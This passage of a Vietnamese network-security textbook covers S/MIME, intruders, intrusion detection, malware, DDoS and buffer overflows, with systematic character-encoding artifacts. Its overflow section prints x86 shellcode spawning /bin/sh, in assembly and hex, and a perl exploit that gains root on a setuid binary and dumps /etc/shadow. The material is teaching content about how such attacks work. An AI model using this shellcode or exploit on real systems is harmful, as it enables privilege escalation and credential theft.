S/MIME tăng cường tính an toàn, có hỗ trợ của S/MIME trong nhiều tác nhân thư ñiện tử
như MS Outlook, Mozilla, Mac Mail, …
Các chức năng S/MIME
Dữ liệu ñóng phong bì, nội dung ñược mã hoá và liên kết khoá, dữ liệu ñược ký, mẩu tin
ñược mã và ký sau nén, dữ liệu rõ ràng ñược ký, mẩu tin tường minh và mã hoá ch ữ ký
trên bản nén, dữ liệu ñóng phong bì và ký, lồng nhau các th ực th ể ký và mã.
Các thuật toán mã hoá S/MIME
Các chữ ký ñiện tử DSS và RSA, các hàm hash: SHA-1 và MD5, mã khoá phiên:
Elgamal & RSA, mã mẩu tin: AES, Triple-DES, RC2/40, …;MAC: HMAC với SHA-1.
- 144 -
Có quá trình ñể ñối thoại quyết ñịnh sử dụng thuật toán nào.
Các mẩu tin S/MIME
S/MIME bảo vệ các thực thể MIME với chữ ký, mã hoặc cả hai tạo thành các ñối tượng
ñóng gói MIME. Có phạm vi các kiểu nội dung khác nhau: dữ liệu ñóng phong bì, dữ liệu
ñược ký, dữ liệu rõ ràng ñược ký, yêu cầu ñăng ký, chứng nhận mẩu tin.
Quá trình chứng nhận S/MIME
S/MIME sử dụng chứng nhận X.509 phiên bản 3. Quản trị việc sử dụng kết hợp sơ ñồ
phân cấp CA của X.509 và Web niềm tin của PGP. Mỗi client có một danh sách các giấy
chứng nhận cho CA tin cậy và có các giấy chứng nhận và cặp khoá công khai/riêng của
mình. Chứng nhận cần ñược ký bởi các CA tin cậy.

Chủ quyền chứng nhận CA (Certificate Authorities)


Có một số CA mọi người ñều biết. Verisign là một CA ñược sử dụng rộng rãi. Verisign
xuất bản một số kiểu ñịnh danh ñiện tử. Tăng mức kiểm tra và kéo theo ñộ tin cậy.

Bài tập

1. Nêu mục ñích IPSec, các tham số, AH và ESP


2. Nêu mục ñích SSL và TLS. Trình bày kiến trúc và nhiệm vụ của các thành
phần của chúng.
3. Thế nào là thanh toán ñiện tử an toàn
4. Nêu yêu cầu của chữ ký kép và chứng tỏ chữ ký kép trong thanh toán ñiện tử
an toàn ñáp ứng các yêu cầu ñó.
5. Nêu qui trình thanh toán ñiện tử an toàn, chứng tỏ nó ñáp ứng ñược các yêu
cầu an toàn ñề ra.
6. Nêu các yêu cầu bảo mật, xác thực, chữ ký ñiện tử của hệ thống thư ñịên tử.
7. Trình bày giải pháp ñề xuất của PGP cho hệ thống thư ñiện tử.
8. Tìm hiểu xác thực cở bản HTTP trong Internet Explorer.
- 145 -

CHƯƠNG 8:
KẺ XÂM NHẬP, PHẦN MỀM CÓ HẠI VÀ
BỨC TƯỜNG LỬA

VIII.1 Kẻ xâm nhập


VIII.1.1 Khái niệm
Vấn ñề quan trọng ñối với hệ thống mạng là chống lại việc truy cập không mong
muốn qua mạng máy tính lớn hoặc cục bộ. Chúng ta có thể phân loại kẻ xâm nhập
như sau:
o Kẻ giả danh
o Kẻ lạm quyền
o Người sử dụng giấu mặt
Có nhiều mức ñộ khả năng khác nhau xâm nhập khác nhau. Rõ ràng vấn ñề trên ñược
công khai và trở nên bức xúc
o Từ Wily Hacker” trong năm 1986/1987
o ñến việc tăng nhanh các ñội ứng cứu tình trạng khẩn cấp của máy tính
Với ñội ứng cứu có thể cảm thấy bình an nhưng ñòi hỏi các nguồn chi bổ sung ñể
phát triển và duy trì hoạt ñộng. Kẻ xâm nhập có thể sử dụng các hệ thống làm hại ñể
tấn công.

VIII.1.2 Các kỹ thuật xâm phạm


Mục tiêu của kẻ xâm nhập là dành quyền truy cập hoặc tăng quyền trong hệ thống.
Các phương pháp tấn công cơ bản bao gồm
o Tìm mục tiêu và thu thập thông tin
o Truy cập ban ñầu
o Leo thang quyền
o Lần vết khôi phục
Mục tiêu chính là giành ñược mật khẩu và sau ñó dùng quyền truy cập của người sở
hữu.

VIII.1.3 ðoán mật khẩu


ðoán mật khẩu là một trong các hướng tấn công chung nhất. Kẻ tấn công ñã biết tên
người sử dụng ñăng nhập (từ trang email/web) và tìm cách ñoán mật khẩu.
o Mặc ñịnh, mật khẩu ngắn, tìm kiếm các từ chung
o Thông tin của người dùng (thay ñổi tên, ngày sinh, số ñiện thoại, các mối
quan tâm và từ chung)
- 146 -
o Tìm kiếm tổng thể mọi khả năng của mật khẩu
Kẻ xâm nhập kiểm tra ñăng nhập với tệp mật khẩu ñánh cắp ñược. Sự thành công của
việc ñoán mật khẩu phụ thuộc vào mật khẩu ñược chọn bởi người dùng. Tổng quan
chỉ ra rằng nhiều người sử dụng chọn mật khẩu không cẩn thận.
Nắm bắt mật khẩu
Tấn công khác bao gồm nắm bắt mật khẩu
o Theo dõi qua vai khi nhập password
o Sử dụng chương trình ngựa thành Toroa ñể thu thập
o Theo dõi login mạng không an toàn, chẳng hạn Telnet, FTP, Web, email.
o Chắt lọc thông tin ghi lại ñược sau lần vào mạng thành công (ñệm/lịch sử
web, số quay cuối,…)
o Sử dụng login/password ñúng ñể nhại lại người sử dụng
Người sử dụng cần ñược học ñể dùng các biện pháp ñề phòng và ngăn ngừa thích
hợp.

VIII.1.4 Phát hiện xâm nhập


Chắc chắn có lỗi an toàn ở ñâu ñó. Như vậy ñể phát hiện xâm nhập cần phải
o Chia khối ñể phát hiện nhanh
o Hành ñộng ngăn chặn
o Thu thập thông tin ñể tăng cường an toàn
Giả thiết rằng kẻ xâm nhập sẽ hành ñộng khác so với người dùng hợp pháp
o Nhưng sẽ có sự khác biệt nhỏ giữa họ
1. Các cách tiếp cận phát hiện xâm nhập
Phát hiện thống kê bất thường
o Vượt qua ngưỡng thống kê nào ñó
o Dựa trên mô tả
Dựa trên qui tắc
o Hành ñộng bất thường
o ðịnh danh thâm nhập
2. Kiểm tra các bản ghi
Công cụ cơ bản ñể phát hiện xâm nhập là kiểm tra bản ghi ñơn giản
o Một phần của hệ ñiều hành ña người sử dụng
o Sẵn sàng ñể sử dụng
o Có thể không có thông tin trong ñịnh dạng mong muốn
Tiến hành kiểm tra các bản ghi chuyên dùng ñể phát hiện
o ðược tạo chuyên dùng ñể thu thập một số thông tin mong muốn
o Trả giá chi phí bổ sung trong hệ thống
- 147 -
3. Phát hiện thống kê bất thường
Phát hiện ngưỡng
o ðếm sự xuất hiện của sự kiện ñặc biệt theo thời gian
o Nếu vượt quá giá trị nào ñó thì cho là ñã có xâm nhập
o Nếu chỉ dùng nó thì ñây là phát hiện thô không hiệu quả
Dựa trên mô tả
o ðặc trưng hành vi quá khứ của người sử dụng
o Phát hiện hệ quả quan trọng từ ñó
o Mô tả bằng nhiều tham số
4. Phân tích kiểm tra bản ghi
ðây là cơ sở của cách tiếp cận thống kê. Phân tích bản ghi ñể nhận ñược các số ño
theo thời gian
o Số ñếm, ño, thời gian khoảng, sử dụng nguồn
Sử dụng các kiểm tra khác nhau trên số liệu phân tích ñể xác ñịnh hành vi hiện tại có
chấp nhận ñược không
o Tính kỳ vọng, phương sai, biến nhiều chiều, quá trình Markov, chuỗi thời
gian, thao tác
Ưu ñiểm chính là không sử dụng kiến thức biết trước
5. Phát hiện xâm nhập dựa trên qui tắc
Quan sát các sự kiện trong hệ thống và áp dụng các qui tắc ñể quyết ñịnh hoạt ñộng
ñó có ñáng nghi ngờ hay không. Phát hiện bất thường dựa trên qui tắc
o Phân tích các bản ghi kiểm tra cũ ñể xác ñịnh mẫu sử dụng và qui tắc tự
sinh cho chúng
o Sau ñó quan sát hành vi hiện tại và sánh với các qui tắc ñể nhận thấy nếu
nó phù hợp
o Giống như phát hiện thống kê bất thường không ñòi hỏi kiến thức biết
trước về sai lầm an toàn
ðịnh danh sự thâm nhập dựa vào qui tắc
o Sử dụng công nghệ hệ chuyên gia
o Với qui tắc ñịnh danh sự xâm nhập ñã biết, các mẫu ñiểm yếu, hoặc các
hành vi nghi ngờ
o So sánh các bản ghi kiểm tra hoặc các trạng thái theo qui tắc
o Qui tắc ñược sinh bởi các chuyên gia nhũng người ñã phỏng vấn và hệ
thống kiến thức của các quản trị an toàn
o Chất lượng phụ thuộc vào cách thức thực hiện các ñiều trên
Ảo tưởng dựa trên tỷ lệ
- 148 -
o Thực tế phát hiện xâm nhập hệ thống cần phát hiện tỷ lệ xâm nhập ñúng
với rất ít cảnh báo sai
 Nếu rất ít sự xâm nhập ñược phát hiện -> an toàn không tốt
 Nếu rất nhiều cảnh báo sai -> bỏ qua/phí thời gian
o ðiều ñó rất khó thực hiện
o Các hệ thống tồn tại hình như không có các bản ghi tốt
Phát hiện xâm nhập phân tán
o Truyền thống thường tập trung hệ thống ñơn lẻ
o Nhưng thông thường có các hệ thống máy tính
o Bảo vệ hiệu quả cần làm việc cùng nhau ñể phát hiện xâm nhập
o Các vấn ñề
 Làm việc với nhiều ñịnh dạng bản ghi kiểm tra khác nhau
 Toàn vẹn và bảo mật dữ liệu trên mạng
 Kiến trúc tập trung và phân tán
Sử dụng bình mật ong
o Chăng lưới thu hút các kẻ tấn công
 Tách khỏi sự truy cập ñến các hệ thống then chốt
 ðể thu thập các thông tin về hoạt ñộng của chúng
 Kích thích kẻ tấn công ở lại trong hệ thống ñể người quản trị có thể
phán ñoán
o ðược cấp ñầy ñủ các thông tin bịa ñặt
o ðược trang bị ñể thu thập chi tiết thông tin về hoạt ñộng của kẻ tấn công
o Hệ thống mạng ñơn và lặp
VIII.1.5 Quản trị mật khẩu
o Là bảo vệ tuyến ñầu chống kẻ xâm nhập
o Người sử dụng ñược cung cấp cả hai:
 Login – xác ñịnh ñặc quyền của người sử dụng
 Password – xác ñịnh danh tính của họ
o Passwords thường ñược lưu trữ mã hoá
 Unix sử dụng DES lặp
 Các hệ thống gần ñây sử dụng hàm hash
o Cần phải bảo vệ file passwords trong hệ thống

Tìm hiểu về mật khẩu


o Purdue 1992 – có nhiều mật khẩu ngắn
o Klein 1990 – có nhiều mật khẩu ñoán ñược
o Kết luận là người sử dụng thường chọn các mật khẩu không tốt
- 149 -
o Cần một cách tiếp cận ñể chống lại ñiều ñó
Tạo mật khẩu - cần giáo dục cách tạo mật khẩu
o Cần có chính sách và giáo dục người sử dụng
o Giáo dục tầm quan trọng của mật khẩu tốt
o Cho ñịnh hướng mật khẩu tốt
 ñộ dài tối thiểu > 6
 ñòi hỏi trộn chữ hoa và chữ thường, số và dấu chấm
 không chọn từ trong từ ñiển
o Nhưng nên chọn sao cho nhiều người không ñể ý
Tạo mật khẩu – máy tính tự sinh
o Cho máy tính tự tạo mật khẩu
o Nếu ngẫu nhiên không dễ nhớ, thì sẽ viết xuống (hội chứng nhãn khó
chịu)
o Ngay cả phát âm ñược cũng không nhớ
o Có câu chuyện về việc chấp nhận của người sử dụng tồi
o FIPS PUB 181 là một trong những bộ sinh tốt nhất
 Có cả mô tả và code ví dụ
 Sinh từ việc ghép ngẫu nhiên các âm tiết phát âm ñược
Tạo mật khẩu - kiểm tra trước
o Cách tiếp cận hưá hẹn nhất ñể có thể cải thiện an toàn mật khẩu
o Cho phép người sử dụng chọn trước mật khẩu của mình
o Nhưng ñể cho hệ thống kiểm chứng xem nó có chấp nhận ñược không
 Bắt buộc theo qui tắc ñơn giản
 So sánh với từ ñiển các mật khẩu tồi
 Sử dụng mô hình thuật toán Markov hoặc bộ lọc ñể chống các cách
chọn tồi

VIII.2 Phần mềm có hại


VIII.2.1 Các kiểu phần mềm có hại khác ngoài Virus
Virus máy tính ñã ñược công bố rất nhiều, là một trong những phần mềm có hại. Tác
ñộng của nó mọi người ñều biết, ñã ñược nêu trong các báo cáo, viễn tưởng và phim
ảnh, gây nhiều chú ý hơn là tán thưởng và ñược quan tâm nhiều ñể phòng chống.
1. Cửa sau hoặc cửa sập
ðiểm vào chương trình bí mật, cho phép những người biết truy cập mà bỏ qua các thủ
tục an toàn thông thường. Kỹ thuật này có thể ñược sử dụng chung bởi những người
phát triển và là mối ñe doạ khi ñể trong chương trình sản phẩm cho phép khai thác
- 150 -
bởi các kẻ tấn công. Rất khó ngăn chặn trong hệ ñiều hành, ñòi hỏi sự phát triển và
cập nhật phần mềm tốt.
2. Bom logic
ðây là một trong những phần mềm có hại kiểu cổ, code ñược nhúng trong chương
trình hợp pháp. Nó ñược kích hoạt khi gặp ñiều kiện xác ñịnh
o Có mặt hoặc vắng mặt một số file
o Ngày tháng/thời gian cụ thể
o Người sử dụng nào ñó
Khi ñược kích hoạt thông thường nó làm hỏng hệ thống
o Biến ñổi/xoá file/ñĩa, làm dừng máy,…
3. Ngựa thành Tơ roa
Chương trình với các tác ñộng phụ ñược dấu kín, mà thông thường rất hấp dẫn như
trò chơi hoặc phần mềm nâng cấp. Khi chạy thực hiện những nhiệm vụ bổ sung, cho
phép kẻ tấn công gián tiếp dành quyền truy cập mà họ không thể trực tiếp. Thông
thường sử dụng lan truyền virrus/sâu (worm) hoặc cài ñặt cửa sau hoặc ñơn giản phá
hoại dữ liệu.
4. Zombie
ðây là chương trình bí mật ñiều khiển máy tính của mạng khác và sử dụng nó ñể gián
tiếp tiến hành các tấn công. Thông thường sử dụng ñể khởi ñộng tấn công từ chối các
dịch vụ phân tán (DdoS). Khai thác các lỗ hổng trong các hệ thống.
VIII.2.2 Virus
Virus là ñoạn code tự sinh lặp ñính kèm với code khác như virus sinh học. Cả hai ñều
lan truyền tự nó và mang ñi bộ tải
o Mang theo code ñể tạo các bản sao của chính nó
o Và cũng như mọi code nó cũng thực hiện nhiệm vụ ngầm nào ñó
Thao tác của virus
Các giai ñoạn của virus
o Nằm im - chờ sự kiện kích hoạt
o Lan truyền – lặp sinh ra chương trình/ñĩa
o Kích hoạt - bởi sự kiện ñể thực hiện bộ tải
o Thực hiện bộ tải
o Cụ thể thông thường mang tính chất chuyên biệt của các máy và hệ ñiều
hành. Nó khai thác các tính chất và ñiểm yếu
Cấu trúc Virus
program V :=
{goto main;
1234567;
- 151 -
subroutine infect-executable := {loop:
file := get-random-executable-file;
if (first-line-of-file = 1234567) then goto loop
else prepend V to file; }
subroutine do-damage := {whatever damage is to be done}
subroutine trigger-pulled := {return true if condition holds}
main: main-program := {infect-executable;
if trigger-pulled then do-damage;
goto next;}
next:
}
Các kiểu Virus
Có thể phân loại dựa trên kiểu tấn công
o Virus ăn bám
o Virus cư trú ở bộ nhớ
o Virus ở sector khởi ñộng
o Lén lút
o Virus nhiều hình thái
o Virus biến hoá

1. Marco Virus
Marco code ñính kèm file dữ liệu, ñược dịch bởi chương trình sử dụng file
o Như marco của Word/Excel
o Sử dụng lệnh tự ñộng và lệnh marco
ðây là ñoạn code là ñộc lập với nền tảng, là ñoạn nguồn chính của sự lan nhiễm
virus. Có sự khác biệt không rõ ràng giữa dữ liệu và file chương trình, thông thường
có sự thoả hiệp truyền thống: “dễ dàng sử dụng” và “an toàn”. ðã có sự cải thiện an
toàn trong Word, không trội hơn sự ñe doạ của virus.

2. Virus email
ðây là loại virus lan truyền sử dụng email ñược ñính kèm chứa marco virus như
Melissa. Thường ñược kích hoạt khi người sử dụng mở file ñính kèm hoặc ít khi hơn
khi mail ñược xem sử dụng một tính chất script của tác nhân mail. Do ñó sẽ lan
truyền rất nhanh, thông thường ñích là tác nhân mail Microsoft Outlook hoặc tài liệu
Word /Excel. Cần an toàn ứng dụng và hệ ñiều hành tốt hơn

3. Sâu
- 152 -
ðây là chương trình sinh lặp nhưng không có tác ñộng, thường lan truyền trên mạng
o Như sâu Internet Morris 1988
o Dẫn ñến việc tạo ra các ñội ứng cứu khẩn cấp máy tính CERT
o Dùng ñặc quyền phân tán hoặc khai thác các ñiểm yếu hệ thống
o ðược sử dụng rộng rãi bởi Hackers ñể tạo zombie PC, kéo theo sử dụng
các tấn công khác, ñặc biệt từ chối dich vụ DoS
Vấn ñề chính là mất sự an toàn của hệ thống kết nối thường xuyên như PC.

Thao tác của sâu


Các giai ñoạn của sâu giống như virus:
o Nằm im
o Lan truyền
 Tìm hệ thống khác ñể tác ñộng
 Thiết lập kết nội với hệ thống ñích từ xa
 Tự sinh lặp mình cho hệ thống từ xa
o Kích hoạt
o Thực hiện
4. Sâu Morrris
Sâu Morris là loại sâu cổ ñiển, ñược tạo bởi Robert Morris vào 1988, nhằm tới các hệ
thống Unix. Ở ñây sử dụng một số kỹ thuật lan truyền, như
o Phá mật khẩu ñơn giản trong file mật khẩu cục bộ
o Khai thác lỗ hổng
o Tìm lỗi cửa sập trong hệ thống mail
Mọi tấn công thành công sẽ sinh lặp nó.
5. Tấn công của sâu ñương thời
Làn sóng tấn công của sâu ñương thời mới từ giữa 2001 như:
- Code Red - sử dụng lỗ hổng MS IIS:
o Thử IP ngẫu nhiên cho hệ thống chạy IIS
o Có kích hoạt thời gian cho tấn công từ chối dịch vụ
o Làn sóng thứ hai tác ñộng ñến 360000 máy chủ trong vòng 14 giờ
- Code Red 2 – cài ñặt cửa sập
- Nimda – cơ chế tác ñộng lặp
- SQL Slammer – ñã tấn công máy chủ MS SQL
- Sobig – ñã tấn công máy chủ proxy mở
- Mydoom – sâu email có số lượng lớn và có cửa sau
6. Công nghệ sâu
- 153 -
Các ñặc tính của công nghệ sâu là tấn công ña nền tảng, khai thác nhiều chiều, lan
truyền cực nhanh, có nhiều kiểu tác ñộng, biến hoá, cơ ñộng và khai thác zero day.

7. Các biện pháp chống Virus


Biện pháp tốt nhất là ngăn ngừa, nhưng nói chung là không thể. Do ñó
cần phải có một trong nhiều biện pháp sau:
o Phát hiện virus nhiễm trong hệ thống
o ðịnh danh loại virus nhiễm
o Loại bỏ khôi phục hệ thống về trạng thái sạch
8. Phần mềm chống Virus
Phần mềm thuộc thế hệ ñầu tiên
o Quét sử dụng chữ ký của virus ñể ñịnh danh
o Hoặc phát hiện sự thay ñổi ñộ dài của chương trình
Phần mềm thuộc thế hệ thứ hai
o Sử dụng các qui tắc trực quan ñể phát hiện nhiễm virus
o Sử dụng mã hash của chương trình ñể phát hiện sự thay ñổi
Phần mềm thuộc thế hệ thứ ba
o Chương trình thường trú trong bộ nhớ ñịnh danh virus theo hành ñộng
Phần mềm thuộc thế hệ thứ tư
 ðóng gói với rất nhiều kiểu kỹ thuật chống virus
 Quét và lần vết tích cực, kiểm soát truy cập
Phương pháp diệt bằng tay vẫn ñược dùng.

9. Kỹ thuật chống Virus nâng cao


Giải mã mẫu
o Sử dụng mô phỏng CPU kiểm tra chương trình, chữ ký và hành vi trước
khi chạy chúng
Dùng Hệ thống miễn dịch số (IBM)
o Hành ñộng ña muc tiêu và chống Virus
o Mọi virus nhập vào tổ chức ñược nắm bắt, phân tích, phát hiện/tấm chắn
tạo ra chống nó và loại bỏ

Sau ñây là sơ ñồ Hệ miễn dịch số (Digital Immune System)


- 154 -

VIII.2.3 Phần mềm ngăn chặn hành vi


Các phần mềm này ñược tích hợp với hệ ñiều hành của máy chủ.
Chương trình theo dõi các hành vi trong thời gian thực
o Chẳng hạn truy cập file, ñịnh dạng ñĩa, các chế ñộ thực hiện, thay ñổi
tham số hệ thống, truy cập mạng
ðối với các hành ñộng có khả năng có hại
o Nếu phát hiện thì ngăn chặn, chấm dứt hoặc tìm kiếm
Có ưu ñiểm so với quét, nhưng code có hại chạy trước khi phát hiện.

1. Tấn công từ chối dịch vụ từ xa


Tấn công từ chối dịch vụ từ xa (DDoS) tạo thành ñe dọa ñáng kể, làm cho hệ thống
trở nên không sẵn sàng, làm tràn bởi sự vận chuyển vô ích.
Kẻ tấn công thường sử dụng một số lớn các “zombies”, tăng ñộ khó của các tấn công.
Công nghệ bảo vệ tìm các biện pháp ñương ñầu chống lại
- 155 -

2. Tìm hiểu cách kẻ thù xây dựng mạng lưới tấn công từ chối dịch vụ từ xa
Từ chối dịch vụ có hiệu lực khi bị nhiễm rất nhiều “zombies”. ðể thực hiện ñược ñiều
ñó cần có:
- Phần mềm cài ñặt tấn công từ chối dịch vụ từ xa
- Các lỗ hổng không vá ñược trong nhiều hệ thống
- Chiến lược quét ñể tìm lỗ hổng hệ thống: sử dụng các yếu tố ngẫu nhiên, lập danh
sách va chạm, tìm hiểu cấu trúc topo, mạng con cục bộ.
3. Chống tấn công từ chối dịch vụ từ xa (DDoS)
Có ba cách bảo vệ sau ñây ñược dùng rộng rãi
- Ngăn ngừa tấn công và chiếm lĩnh trước.
- Phát hiện tấn công và lọc trong quá trình sử dụng dịch vụ
- Lần vết nguồn tấn công và xác ñịnh sự tấn công sau khi sử dụng xong dịch vụ.
Nói chung có phạm vi rộng các khả năng tấn công, vì vậy phải có nhiều biện pháp
chống và sử dụng kết hợp chúng.

VIII.3 Tràn bộ ñệm


Tràn bộ ñệm là cơ chế tấn công rất phổ biến bắt ñầu từ 1988 xuất hiện sâu Morris ñến
Code Red, Slammer, Sasser và nhiều cái khác nữa. Các kỹ thuật phòng chống ñều ñã biết.
- 156 -
Tuy nhiên vẫn còn là vấn ñề phải quan tâm vì di truyền từ các con rệp ñã lây lan rộng rãi.
Vì vẫn còn các kỹ thuật lập trình không cẩn thận.
Cơ sở của việc tràn bộ nhớ: sinh bởi do lỗi lập trình, cho quá nhiều dữ liệu lưu trữ hơn
khả năng cho phép trong bộ ñệm kích thước cố ñịnh. Bộ ñệm có thể trên ngăn xếp, ñống,
dữ liệu tổng thể. Viết ñè các vị trí nhớ cận kề, làm hỏng dữ liệu của chương trình, truyền
ñiều khiển không mong muốn, vi phạm truy cập bộ nhớ, thực hiện code của kẻ tấn công

VIII.3.1 Ví dụ tràn bộ nhớ

Buffer Overflow Example


int main( int argc, char * argv[]) {
int valid = FALSE;
char str1[8];
char str2[8];
next_tag(str1);
gets(str2);
if (strncmp(str1, str2, 8) == 0)
valid = TRUE;
printf("buffer1: str1(%s), str2(%s),
valid(%d)\n", st r1, str2, valid);
}

$ cc -g -o buffer1 buffer1.c
$ ./buffer1
START
buffer1: str1(START), str2(START), valid(1)
$ ./buffer1
EVILINPUTVALUE
buffer1: str1(TVALUE),
str2(EVILINPUTVALUE), valid(0)
$ ./buffer1
BADINPUTBADINPUT
buffer1: str1(BADINPUT),
str2(BADINPUTBADINPUT), valid(1)

Xét chương trình C trên. Ở ñây có ba biến, thông thường lưu trong vùng nhớ liền kề. Gọi
chương trình con copy vào str1 dữ liệu Start. Sau ñó ñọc ñầu vào sử dụng hàm gets lưu
vào str2. Sau ñó so sánh ñầu vào với xâu Start. Nếu thành công valid = true. Vấn ñề hàm
thư viện gets của C không kiểm tra ñộ lớn dữ liệu ñọc vào. Nếu nhiều hơn 7 ký tự nó ñòi
hỏi bộ nhớ nhiều hơn. Khi ñó dữ liệu thừa viết ñè dữ liệu của biến kề, trong trường hợp
này là str1. Giả sử xâu ñầu vào là “EVILINPUTVALUE”, kết quả xâu Str1 bị viết ñè với
các ký tự “TVALUE”. Xâu str2 không chỉ sử dụng 8 ký tự của nó mà còn thêm 7 ký tự
từ str1. Biết cấu trúc trên, kẻ tấn công có thể thu xếp sao cho giá trị xâu Str1 vẫn bằng
- 157 -
Str2. Chẳng hạn nếu nhập xâu ñầu vào là “BADINPUTBADINPUT” thì trong phép so
sánh kết quả vẫn ñúng như trong lần chạy thứ ba trong ví dụ trên.

VIII.3.2 Tấn công tràn bộ nhớ. ðể làm tràn bộ ñệm, kẻ tấn công cần phải phát hiện lỗ
hổng tràn bộ ñệm trong chương trình nào ñó. Theo dõi, lần theo vết thực hiện, sử dụng
các công cụ ẩn. Hiểu bộ ñệm lưu trong bộ nhớ như thế nào và xác ñịnh khả năng phá
hỏng.

Function Calls and Stack Frames

Một chút về lịch sử ngôn ngữ lập trình. Ở mức ngôn ngữ máy mọi dữ liệu là mảng các
bytes, thông dịch phụ thuộc vào các chỉ lệnh ñược dùng. Ngôn ngữ bậc cao hiện ñại có
ñịnh nghĩa chặt về kiểu và các phép toán ñúng. Không có lỗ hổng tràn bộ ñệm, ñược
lường trước, giới hạn khi dùng.
C và ngôn ngữ liên quan có cấu trúc ñiều khiển bậc cao, nhưng cho phép truy cập trực
tiếp ñến bộ nhớ. Vì vậy có lỗ hổng tràn bộ ñệm. Có kế thừa lớn các code không an toàn,
ñang ñược sử dụng rộng rãi, nên có lỗ hổng.
ðể hiểu hơn tạo sao lại tràn bộ nhớ, mà không khắc phục ñược, ta xem xét cơ chế mà lời
gọi hàm quản lý trạng thái cục bộ cho mỗi lời gọi. Khi một hàm gọi hàm khác, nó cần
phải lưu ở ñâu ñó ñịa chỉ trả về ñể hàm ñược gọi khi kết thúc trả ñiều khiển cho hàm gọi.
Bên cạnh ñó cũng cần có chỗ ñể cất một số tham số mà cần truyền cho hàm ñược gọi và
- 158 -
cũng cần lưu các giá trị thanh ghi của hàm gọi mà cần ñược sử dụng khi hàm ñược gọi
kết thúc. Thông thường mọi dữ liệu này ñược cất ở khung ngăn xếp (stack frame). Mỗi
lần gọi hàm lại sinh ra một khung ngăn xếp liên kết.
Tràn bộ ñệm ngăn xếp xảy ra khi bộ ñệm ñặt trên ngăn xếp. Nó ñược khai thác bởi sâu
Morris. Bài báo “Smashing the Stack” tuyên truyền nó. Có biến cục bộ phía dưới con trỏ
khung lưu trữ và ñịa chỉ trả lại. Vì vậy tràn bộ ñệm cục bộ có nhiều khả năng viết ñè các
mục ñiều khiển chính. Kẻ tấn công viết ñè ñịa chỉ trả về với ñịa chỉ của ñọan code cài
vào. ðó có thể là ñịa chỉ của chương trình, thư viện hệ thống hoặc tải vào bộ ñệm.
Chúng ta xem cấu tạo vùng nhớ, nơi cất chương trình ñang chạy, dữ liệu tổng thể, ñống
và ngăn xếp. Khi chương trình chạy, hệ ñiều hành tạo ra một tiến trình cho nó. Tiến trình
ñược cho bởi không gian ảo của riêng nó với cấu trúc như trên hình vẽ sau. Nó bao gồm
nội dung chương trình ñang chạy, trong ñó có dữ liệu tổng thể, bảng cấp bộ nhớ, code của
chương trình ở gần ñáy của không gian nhớ này. Trên ñó không gian cho ñống tăng dần
lên và trên nữa là không gian cho ngăn xếp giảm dần xuống.

Programs and Processes

ðể mô tả tràn bộ ñệm ngăn xếp ta xét chương trình C sau. Nó chứa biến cục bộ duy nhất,
bộ ñệm inp. Hàm Hello nhắc nhập tên mà ñược ñọc vào bộ ñệm nhờ hàm thư viện không
an toàn gets(). Sau ñó hiện kết quả ñọc ñược nhờ hàm thư viện printf (). Nếu giá trị nhỏ
ñược ñọc thì ở ñây không có vấn ñề gì. Chương trình gọi hàm sẽ chạy thành công như
- 159 -
trong lần chạy thứ nhất trên hình sau ñó. Nếu dữ liệu lớn như trong lần chạy thứ hai, dữ
liệu sẽ vượt qua cuối bộ ñệm và ghi ñè lên con trỏ khung lưu trữ và trả về ñịa chỉ sai
tương ứng với biểu diễn nhị phân của các ký tự. Và khi hàm trả ñiều khiển cho ñịa chỉ trả
về, nó nhảy ñến vị trí bộ nhớ không hợp lệ, báo lỗi “Segmentation Fault” và dừng
chương trình không bình thường như thông báo trên hình sau ñó. Kẻ tấn công tận dụng
cơ hội này ñể truyền ñiều khiển về chương trình ñã ñịnh trước.

Stack Overflow Example


void hello(char *tag)
{
char inp[16];
printf("Enter value for %s: ", tag);
gets(inp);
printf("Hello your %s is %s\n", tag,inp);
}

$ cc -g -o buffer2 buffer2.c
$ ./buffer2
Enter value for name: Bill and Lawrie
Hello your name is Bill and Lawrie
buffer2 done
$ ./buffer2
Enter value for name:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Segmentation fault (core dumped)
$ perl -e 'print pack("H*",
"414243444546474851525354555657586162636465666768
08fcffbf948304080a4e4e4e4e0a");' | ./buffer2
Enter value for name:
Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyu
Enter value for Kyyu:
Hello your Kyyu is NNNN
Segmentation fault (core dumped)

VIII.3.3 Code che ñậy (Shellcode)


- 160 -
ðây là code chương trình ñược chuẩn bị bởi kẻ tấn công. Nó ñược lưu trong bộ nhớ bị
tràn và kẻ tấn công tìm cách chuyển ñiều khiển sang cho shell.

Example Shellcode
nop
nop // end of nop sled
jmp find // jump to end of code
cont: pop %esi // pop address of sh off stack into %esi
xor %eax,%eax // zero contents of EAX
mov %al,0x7(%esi) // copy zero byte to end of string sh (%esi)
lea (%esi),%ebx // load address of sh (%esi) into %ebx
mov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)
mov %eax,0xc(%esi) // copy zero to args[1] (%esi+c)
mov $0xb,%al // copy execve syscall number (11) to AL
mov %esi,%ebx // copy address of sh (%esi) t0 %ebx
lea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecx
lea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edx
int $0x80 // software interrupt to execute syscall
find: call cont // call cont which saves next address on stack
sh: .string "/bin/sh " // string constant
args: .long 0 // space used for args array
.long 0 // args[1] and also NULL for env array

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89
46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1
ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20
- 161 -

Example Stack Overflow Attack


$ dir -l buffer4
-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4
$ whoami
knoppix
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ cat attack1
perl -e 'print pack("H*",
"90909090909090909090909090909090
" .
"90909090909090909090909090909090
" .
"9090eb1a5e31c08846078d1e895e0889
" .
"460cb00b89f38d4e088d560ccd80e8e1
" .
"ffffff2f62696e2f7368202020202020" .
"202020202020202038fcffbfc0fbffbf0a");
print "whoami\n";
print "cat /etc/shadow\n";'
$ attack1 | buffer4
Enter value for name: Hello your yyy)DA0Apy is
e?^1AFF.../bin/sh...
root
root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::
daemon:*:11453:0:99999:7:::
...
nobody:*:11453:0:99999:7:::
